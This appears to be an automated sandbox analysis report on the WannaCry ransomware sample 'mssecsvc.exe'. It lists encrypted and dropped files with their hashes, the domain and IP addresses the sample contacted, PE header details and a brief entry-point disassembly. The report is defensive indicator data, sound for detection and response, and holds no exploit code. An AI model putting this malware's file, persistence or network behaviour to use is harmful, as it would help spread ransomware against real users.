C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\BQV5SLZ9.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\EVRD7JOF.txt.WNCRY (copy)	Type: MD5: 41C6B8D88A1EA4EA1BE1FFC3C9CE5CCC SHA: C24D359804F25D86D86E61983617568601216489 SHA-256: FB2F1D919DBC577B99948BFA584263007487D1E4121DC35AD279C63D8F06C951 SHA-512: DCCF86C8865C2D76037D65EF8DF4B18EE10CAD57E6CB770A0FF53F47638F24108EBA2424218E7F4EA359D76747EBDBC637C4608AF1C08C50BFE5E801A164D404	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\EVRD7JOF.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\I75LB17C.txt.WNCRY (copy)	Type: MD5: 56C2FBBE3BA0F86EA10ED0EFACC40863 SHA: 8EF9B72D032CC2271802E73E235937AE07E95728 SHA-256: 441499B35C716AD81775F00C7E7B89E2FB396617DBEF0CD1E4F0A700762AFFD0 SHA-512: 8380D49383AC7250299A721AE4E9F272BEAF501AD5FA6B1298F1FD74ED86C764C6CB96D899BD1DC4E60739561C94043C2A1D015EBE586AAFCB784FD26280772D	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\I75LB17C.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\ML8FX5YH.txt.WNCRY (copy)	Type: MD5: 2A88F20019198979366ED012637EB500 SHA: 726AB540EB041ED261E68A8A16E973E9C2E40889 SHA-256: 138BB97DD81008E3257574785F365F9B75CA4E16BB7801B6551CA978F9508E66 SHA-512: 5CA3E7568342234181C354BE29A8369A8428A6FC5C3F6754D0F708962203A8781CF2D008D0B9E9FE700EA307F951BEAD8C31F16047B160B5068D5DCA398A42A9	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\ML8FX5YH.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\P2JX6PN9.txt.WNCRY (copy)	Type: MD5: E74F1F61925D12D8EC4110E5C1DC13ED SHA: 6E531605340D0E8A7E7A2F9A33BBA4C541D7603C SHA-256: 879989086805CAA300DF88FD4D738A87F5EB58528C161D5DF6FC4D78439DBF53 SHA-512: 997154EB2C88C56A121B4FDF2315381BDB9D5B4FA625D244815A8A0CDD3D68A78AE59275A38FEDACE9C16842B3FC2D2AAED8F7F98092079D933D5400F4BA5F52	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\P2JX6PN9.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\SBGGU5ON.txt.WNCRY (copy)	Type: MD5: 3A4D56C0F02006AAC4D453C2DFCA5857 SHA: F99A1D8F6C798D1BFD6427DFAFFAD7683999E69A SHA-256: 5523352C310CF00579F70408D922016D84EFB6746032BBAFE6429055CF582620 SHA-512: 6A3A50D0A64A9F553207D07CE0F31AB21195A50456D2B4A6EC5977DE532786F539351A27A076DF34EA517A01CD035726DEE38352A394C5642E5E5889DC9C27F2	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\SBGGU5ON.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\TS324TLF.txt.WNCRY (copy)	Type: MD5: B8CC3C179B89F9F1C28684D75FC45DE7 SHA: 83A25C2B07227125C26E84092E2AF0FCDBD6C9CF SHA-256: BD7E843E70384CB327DA650C2E04C9F39ED2221C437ADFE23116411928563743 SHA-512: BD34D3BD4485D8F79611AE251B1C4D613E9026BA8FC925940A87C5301E58B309DF762AC1E7A9B0EC6F5D46B628D57CA6DB0C5C58BD27A9607074CB5183CCF636	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\TS324TLF.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\XO4C6RUK.txt.WNCRY (copy)	Type: MD5: 2B53F07824004FFB5A4F3A298B0E4A39 SHA: 497315AE723A6AE115CBA68748D2A241720DA1E2 SHA-256: A1BE91532C2FA5165BF2C2BE313352BD40D9D26E736F9461B1DE37089146ECE9 SHA-512: 2E5D7945FDB9060A45A2D522253C492D12FB81E8FEC31CFAF4B094DF8EE9641270E3ADC3C0A75819C354523138777EA5F1D34D8022332623FC29EE2FF998B415	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Cookies\XO4C6RUK.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg.WNCRY (copy)	Type: MD5: 05FD53378FBE528C3DD264601DFFB1CD SHA: A283D6D89B36EBB34FF0363EC14186079C4F7ED0 SHA-256: 5105D48969BFC04279D88CB597EA6DE48EA8EDC7E2C4B109F803AAF8EEDF0B7E SHA-512: 381FDD1472E7A4E6781A9E56014F9178C673536FFD75B44AA3DC2FBD2652190761D2208CFA0974F377E83F4662B49284C1FDBA2FE096090D0F00FD3E15A47CD5	false
C:\Users\luketaylor\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\SiteSecurityServiceState.txt.WNCRY (copy)	Type: MD5: F56DE94C729ACDC21B50BF59ADD6C2C0 SHA: D6FE7321C40427032EBDB5947BC3BA0511BAAC68 SHA-256: E44411D32A6275D7051F062A5A51299575C7342B066AA915297D1FA33B982AE7 SHA-512: A07F6420DAA3D14A6DA4C55A529E47AFEEF7F4111DE2A888C5BAA15391B4005CC8305A91E80A962F8D5692C2131D898D3B9503A0111F7F7CE9CDCD8617F373C9	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\SiteSecurityServiceState.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.WNCRY (copy)	Type: MD5: 48775BFE360B5F82978025FBC171FA67 SHA: 4CFAC026595A697275DB3379014B908A9E986739 SHA-256: 54CB6A308741095E3C8E70794E30B82C243BEE318B8D19A9ADE05B1A12E3DE3E SHA-512: BD263B16E94FEE992A14B373A72DED6DFC088A04AF8FA4225FD4C916E806239E16B57B648D8529323CB81546E0DB909A6D0B16BD500123551794B9C83271CF65	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert_override.txt.WNCRY (copy)	Type: MD5: 48657AAB0B3F125FA300514A1733C01B SHA: 28E1BC2B831092CBA2EC551D4086D3E047EBE40E SHA-256: 147EA9AC67E24FC2FA9AD4C2F9F365F1F863B5C26018A0E0F841DFA0BF65F684 SHA-512: B8CDB3666DBEB9EA3BEA6554823AAB9152334E9DE59BFAE632C7B58011B20F440275407CDFE718E801356CF3DEC51855EC73CE0E6D88BBF704C00FA381B326CC	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert_override.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.WNCRY (copy)	Type: MD5: 240F668ADAB3AAA0B00D83BB5E7C0E2A SHA: BC4BEB695E05318FCFB178F4A54A6B7B16BE4F74 SHA-256: CE7EC7CD549DC83C24FF2F3E72897AC59975888C83147BBF592573B8562ED5F6 SHA-512: CA01F7E6A746FA22435B0DE9F104004E54E0380AAD35199A80329F6314C426971A9E277D8F6869AD4C52CA381A836EAF36B8229F7D14EF5B34187A9B06A9E943	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.WNCRY (copy)	Type: MD5: 1C3076197AE1866F14D2B32409124F17 SHA: C4EC6C7BF6307249C63BC0D1DB364657C47269E1 SHA-256: B141F39A21C7108737BF9D7E22430E0772C5C8F7B7E76A644D8D36F6D524E6BC SHA-512: 9AF7DF9C2E73BA65D93BCD2F20626A1E0CFDEBB668596D13A326600737582454076F572E2B0D4884BC7831D5E7D9503C8FA81B911BA39AF72CC6EAAD36794B4D	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\revocations.txt.WNCRY (copy)	Type: MD5: 6C46330619A9327BB63720B26D5094E6 SHA: EAB43664F48EDC6DBC98B67354F4C5493B6E3A48 SHA-256: 3739525C3B107033BD78C6C412E4FA26541C4CEE14FAC934CDF567E77E46908B SHA-512: E478621CC2F917FE46FA63ADD1C02AD899FAFF017E2DBB2F6E2C625B7A356F4370BF06A3A7948EEC21C0F7FF4E36F27DF14232D98A2ABAFDCE5585AEDCBD2103	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\revocations.txt.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.WNCRY (copy)	Type: MD5: 7E7945589816EB057E35DF37264C4932 SHA: AAF727AD1BEEAFEA574C672F19FD487CB6DF42B6 SHA-256: E02ED3DF274139CA1C552D07ADBB417FCA0B9131F4E974AA939511F09206479D SHA-512: 0C6E91DC28AD3F4D8B99CAAA91A962C4DA815EC2E797B7B78B9AF577B75449866531C22ECD15BDD94E539C3765227066E00961888F9D189941AF6EF726F431D4	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.WNCRY (copy)	Type: MD5: DEC1F8722527F6B1AC6851AAA5E72A6C SHA: BB25486112DE3D3D283F6972A3341108DBA00636 SHA-256: 9B2B94F5D36F469A9C410FD602218F2726FAEDFDD1C1B25894A18C671D890EDD SHA-512: 93FC5E83CC4CF22536DD69C8FD611F889C28A4050DEE821D943DDF0A2F02E79B186F926C78EDAF66FE467E2DDA7D11B495A006ED725EB22BBA0C1A84716D6EFE	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore.js.WNCRY (copy)	Type: MD5: 5EEFBE80139B6090BA1184B84C316698 SHA: 634E9FFE9DF3E1A51AD42B0734DBD913541DD7D7 SHA-256: 85253E565EE73B9CBB1AF982E0F7FC84A817FF1E20DF774D6874668D08288CB4 SHA-512: C1F70B5F146C185482C29BB5273750ACB648D335FE156F2716DBA84BAA6B0E067F0438902E1B256CA5DB7B10E5FE7A2C5A6BC9D0153028B9533A451BF0FD1D90	false
C:\Users\luketaylor\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore.js.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Users\luketaylor\Desktop\@WanaDecryptor@.bmp	Type: PC bitmap, Windows 3.x format, 800 x 600 x 24 MD5: C17170262312F3BE7027BC2CA825BF0C SHA: F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB SHA-256: D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA SHA-512: C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C	false
C:\Users\luketaylor\Desktop\@WanaDecryptor@.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 7BF2B57F2A205768755C07F238FB32CC SHA: 45356A9DD616ED7161A3B9192E2F318D0AB5AD10 SHA-256: B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25 SHA-512: 91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9	true
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-certs (copy)	Type: MD5: C28E9FDA3321FC4ABE53BC8C0436B58E SHA: 8866549BBA2C1C3CAFB38E98850F7D13EF36F14B SHA-256: 77BB2B9AAA3C019E77553E432E375D28FBA659E1512A5A66CDBEE8144C3E1644 SHA-512: 0C14BC97E091B03F5DAF0E741EC8C9A6A9B1DE23B2C87509815FBEF636AE3924DEB27CA1C06A7F1B7566C636D69831BB66553C4E354BC1E59E9AC1E091498270	false
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-certs.tmp	Type: ASCII text, with CRLF line terminators MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-microdesc-consensus (copy)	Type: MD5: 9C5AB9C71E636E2A6BDD859C772921D2 SHA: 6B854D63D37C3EA19ACA3F376F79AA86CB7D9DF1 SHA-256: 03A1A3860262222B94454892F00F362E26375D987E3FA64D47D29160422D053A SHA-512: D83E830E4FE7D4563A80CB215E37BEA5AD635B194543FB50ED1B8E58D59D5C52BC0A8143458C819C128D11B0F78700CFDDC19BB96F75CA25067FE51522D3B4B8	false
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-microdesc-consensus.tmp	Type: ASCII text, with CRLF line terminators MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\cached-microdescs.new	Type: ASCII text, with very long lines MD5: A4C46BB56BDDA00A012700662648531C SHA: EB9E7710BA3CC0E7B7DB3B753BEED61CFDE6E942 SHA-256: BD54C8D27E0CE376294B3A6B98BDC9D7AC42A3CCB6463C4C5D02F5B97C0028F3 SHA-512: 9803EDA391138227D11440AB96CAE3F47471590B21D89B9D19C9B16F66F955E47B744E294C0F3B15428F78F012C4ECB7F099A506BC6D3D0709483A9815423962	true
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\state (copy)	Type: MD5: D63FF4A3187552088BE7B17BB6FB7962 SHA: 691AD4423BC897557AB2F2B4B4459C691D7D8F4E SHA-256: 066509CBDE3991C2387A66FCB5AE7E56999500CF17B936718D84C12F18560569 SHA-512: F72E99BB273875EB4C79FEB5710C6E40AA8EFF3E3576A5C1BB256CC1E2B5983910CC3063C875DB3756AA91FC9DF928533E0A4D6AAD2482F3BFA112135C8AFCB3	false
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\state.tmp	Type: ASCII text, with CRLF line terminators MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\unverified-microdesc-consensus (copy)	Type: MD5: 9C5AB9C71E636E2A6BDD859C772921D2 SHA: 6B854D63D37C3EA19ACA3F376F79AA86CB7D9DF1 SHA-256: 03A1A3860262222B94454892F00F362E26375D987E3FA64D47D29160422D053A SHA-512: D83E830E4FE7D4563A80CB215E37BEA5AD635B194543FB50ED1B8E58D59D5C52BC0A8143458C819C128D11B0F78700CFDDC19BB96F75CA25067FE51522D3B4B8	false
C:\Windows\System32\config\systemprofile\AppData\Roaming\tor\unverified-microdesc-consensus.tmp	Type: ASCII text, with CRLF line terminators MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	true
C:\Windows\Temp\hibsys.WNCRYT	Type: VISX image file MD5: FF4559A280520A0119474FD7AD68396C SHA: 520FCCFF975E532367B1481E251A4BCDCA1C9939 SHA-256: A2D61D856A5B2B42A7623FA8A0BCF78C385D4D2B6AA6E8D543917D395F10FD20 SHA-512: 3C25CA986CA73BA0DCEA770F21945CB6EC4C027531890BA24EB87ED263C44F9ED05E763CF9ED9AC46D6494BD05FE1C434E6AFFF17CF1965BDB847C75788E3268	false
C:\Windows\tasksche.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 84C82835A5D21BBCF75A61706D8AB549 SHA: 5FF465AFAABCBF0150D1A3AB2C2E74F3A4426467 SHA-256: ED01EBFBC9EB5BBEA545AF4D01BF5F1071661840480439C6E5BABE8E080E41AA SHA-512: 90723A50C20BA3643D625595FD6BE8DCF88D70FF7F4B4719A88F055D5B3149A4231018EA30D375171507A147E59F73478C0C27948590794554D031E7D54B7244	false
C:\autoexec.bat.WNCRY (copy)	Type: MD5: 1FE653A091A9204C62085864C8143316 SHA: 22662BC4308EC0FF834EEDC622B2BFA1385B9ECA SHA-256: 72D93C8103927E7BA4631732A97A609D13C4D17595744893E2D4EBE06BDD6EA5 SHA-512: B9A49650C715724DF87A09408F1A6C62E701E8339A4B5E4EEC1B2410553CACFC40F274D81E671409FC54BB10C45B6D4F6C81A4CEC28D1D69282F0A7518BAB413	false
C:\autoexec.bat.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	144.217.74.156	true	false

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	ASN	ASN Name	Malicious
95.130.12.119	France	23456	32bitTransitionAS	false
195.154.107.23	France	12876	ONLINESAS	true
8.8.8.8	United States	15169	GoogleInc	false
79.137.85.71	Italy	34695	E4Asrl	true
85.235.250.88	Denmark	9167	WEBPARTNERASisaDanishInternetServiceProvider	false
131.188.40.189	Germany	680	VereinzurFoerderungeinesDeutschenForschungsnetzes	false
144.217.74.156	United States	11714	UniversityofNebraskaCentralAdministration	false
138.68.0.4	United States	17007	OrbitalSciencesCorporation	true

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mssecsvc.exe
File size:	3723264
MD5:	db349b97c37d22f5ea1d1841e3c89eb4
SHA1:	e889544aff85ffaf8b0d0da705105dee7c97fe26
SHA256:	24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
SHA512:	d6c60b8f22f89cbd1262c0aa7ae240577a82002fb149e9127d4edf775a25abcda4e585b6113e79ab4a24bb65f4280532529c2f06f7ffe4d5db45c0caf74fea38
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=..A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L..

File Icon

Static PE Info

General
Entrypoint:	0x409a16
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x4CE78ECC [Sat Nov 20 09:03:08 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	9ecee117164e0b870a53dd187cdd7174

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 0040A1A0h
push 00409BA2h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [0040A0C0h]
pop ecx
or dword ptr [0070F894h], FFFFFFFFh
or dword ptr [0070F898h], FFFFFFFFh
call dword ptr [0040A0C8h]
mov ecx, dword ptr [0070F88Ch]
mov dword ptr [eax], ecx
call dword ptr [0040A0CCh]
mov ecx, dword ptr [0070F888h]
mov dword ptr [eax], ecx
mov eax, dword ptr [0040A0E4h]
mov eax, dword ptr [eax]
mov dword ptr [0070F890h], eax
call 00007F4738B49D21h
cmp dword ptr [00431410h], ebx
jne 00007F4738B49C0Eh
push 00409B9Eh
call dword ptr [0040A0D4h]
pop ecx
call 00007F4738B49CF3h
push 0040B010h
push 0040B00Ch
call 00007F4738B49CDEh
mov eax, dword ptr [0070F884h]
